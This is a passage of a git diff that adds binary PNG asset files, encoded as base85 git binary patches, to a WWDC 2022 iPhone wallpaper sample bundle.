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 CgTK}Q literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext4.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext4.png new file mode 100644 index 0000000000000000000000000000000000000000..de49681567b62b83a7abafd3ba6889b4b11db6de GIT binary patch literal 11680 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 Xx{c>Q(^h{UtkzJ`QLcRS^!fh*v+($V literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext5.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/statstext5.png new file mode 100644 index 0000000000000000000000000000000000000000..8af533d1be19ce1ba1677d48df751514b2193889 GIT binary patch literal 11581 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 